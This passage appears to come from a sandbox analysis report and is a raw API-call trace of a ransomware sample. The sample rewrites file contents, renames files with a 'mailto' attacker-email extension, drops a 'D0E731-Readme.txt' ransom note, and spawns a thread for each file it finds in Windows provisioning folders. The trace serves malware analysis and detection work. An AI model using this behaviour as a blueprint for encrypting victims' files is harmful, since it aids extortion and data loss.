[0084.383] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342daf0 [0084.383] NtQuerySystemTime (in: CurrentTime=0x2b5bf970 | out: CurrentTime=0x2b5bf970*=132121176422735328) returned 0x0 [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x42b53ed4 [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x383fe81c [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x9ae542cd [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x5e3784bc [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x85ab5ba6 [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xf7c688b1 [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xd73dbeb3 [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xd5838c90 [0084.383] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xee9d4052 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x147a199b [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xfe7496ed [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xda18d856 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xeb585216 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xd27c0c87 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xaa300512 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xbf1c9fdc [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xe564353b [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xe80ba0f3 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x2f8f9222 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x7a17dcef [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x2e4dc274 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x71c5657b [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x39061cba [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x213b53e6 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xfcd4d426 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xc6ad4f23 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x342b5835 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x6e6c5d15 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xc8e1df95 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x408291e8 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0xa6412160 [0084.384] RtlRandom (in: Seed=0x2b5bf97c | out: Seed=0x2b5bf97c) returned 0x55920c01 [0084.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.395] ReadFile (in: hFile=0x3d4, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x2b5bf970, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2b5bf970*=0x1cc, lpOverlapped=0x0) returned 1 [0084.395] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b5bf938 | out: lpNewFilePointer=0x0) returned 1 [0084.395] WriteFile (in: hFile=0x3d4, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1cc, lpNumberOfBytesWritten=0x2b5bf96c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2b5bf96c*=0x1cc, lpOverlapped=0x0) returned 1 [0084.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0084.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0084.396] WriteFile (in: hFile=0x3d4, lpBuffer=0x342d8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b5bf968, lpOverlapped=0x0 | out: lpBuffer=0x342d8e8*, lpNumberOfBytesWritten=0x2b5bf968*=0x20, lpOverlapped=0x0) returned 1 [0084.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.396] WriteFile (in: hFile=0x3d4, lpBuffer=0x342dbe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2b5bf994, lpOverlapped=0x0 | out: lpBuffer=0x342dbe0*, lpNumberOfBytesWritten=0x2b5bf994*=0x8, lpOverlapped=0x0) returned 1 [0084.396] WriteFile (in: hFile=0x3d4, lpBuffer=0x2b5bf9ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b5bf994, lpOverlapped=0x0 | out: lpBuffer=0x2b5bf9ac*, lpNumberOfBytesWritten=0x2b5bf994*=0x4, lpOverlapped=0x0) returned 1 [0084.396] WriteFile (in: hFile=0x3d4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b5bf994, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2b5bf994*=0x4, lpOverlapped=0x0) returned 1 [0084.396] WriteFile (in: hFile=0x3d4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2b5bf994, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2b5bf994*=0x6c, lpOverlapped=0x0) returned 1 [0084.396] WriteFile (in: hFile=0x3d4, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2b5bf994, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2b5bf994*=0x20, lpOverlapped=0x0) returned 1 [0084.396] WriteFile (in: hFile=0x3d4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2b5bf994, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2b5bf994*=0x4, lpOverlapped=0x0) returned 1 [0084.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db68) returned 1 [0084.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.397] CloseHandle (hObject=0x3d4) returned 1 [0084.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x3479cc0 [0084.397] wcscpy (in: _Dest=0x3479cc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" [0084.397] wcscat (in: _Dest=0x3479cc0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.397] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.398] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cc0) returned 1 [0084.398] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.398] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" [0084.398] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\D0E731-Readme.txt" [0084.398] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.398] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0084.399] WriteFile (in: hFile=0x3d4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2b5bf990, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2b5bf990*=0x481, lpOverlapped=0x0) returned 1 [0084.400] CloseHandle (hObject=0x3d4) returned 1 [0084.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6c58) returned 1 [0084.400] RtlExitUserThread (Status=0x1) Thread: id = 1235 os_tid = 0x13b0 [0084.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486ea0 [0084.402] wcscpy (in: _Dest=0x3486ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.402] wcscat (in: _Dest=0x3486ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.402] wcscat (in: _Dest=0x3486ea0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*" [0084.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab948 [0084.402] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*", lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0558 [0084.406] wcscmp (_String1=".", _String2=".") returned 0 [0084.406] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.408] wcscmp (_String1="..", _String2=".") returned 1 [0084.408] wcscmp (_String1="..", _String2="..") returned 0 [0084.408] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900a4472, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900a4472, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="0__CON~1.PRO")) returned 1 [0084.408] wcscmp (_String1="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.408] wcscmp (_String1="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16e) returned 0x3479cc0 [0084.408] wcscpy (in: _Dest=0x3479cc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.408] wcscat (in: _Dest=0x3479cc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.408] wcscat (in: _Dest=0x3479cc0, _Source="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" [0084.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0084.728] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0x0, cFileName="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="100__C~1.PRO")) returned 1 [0084.728] wcscmp (_String1="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.728] wcscmp (_String1="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x3479e38 [0084.729] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.729] wcscat (in: _Dest=0x3479e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.729] wcscat (in: _Dest=0x3479e38, _Source="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" [0084.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0084.729] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="101__C~1.PRO")) returned 1 [0084.729] wcscmp (_String1="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0084.729] wcscmp (_String1="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0084.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x3479f88 [0084.729] wcscpy (in: _Dest=0x3479f88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.729] wcscat (in: _Dest=0x3479f88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.730] wcscat (in: _Dest=0x3479f88, _Source="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0084.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0084.730] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="102__C~1.PRO")) returned 1 [0084.730] wcscmp (_String1="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.730] wcscmp (_String1="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x341aa40 [0084.730] wcscpy (in: _Dest=0x341aa40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.730] wcscat (in: _Dest=0x341aa40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.730] wcscat (in: _Dest=0x341aa40, _Source="102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml" [0084.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341aa40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0084.731] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9045e0ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9045e0ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9045e0ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", cAlternateFileName="103__C~1.PRO")) returned 1 [0084.731] wcscmp (_String1="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.731] wcscmp (_String1="103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.731] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x341aba0 [0084.731] wcscpy (in: _Dest=0x341aba0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.731] wcscat (in: _Dest=0x341aba0, _Source="\\" | 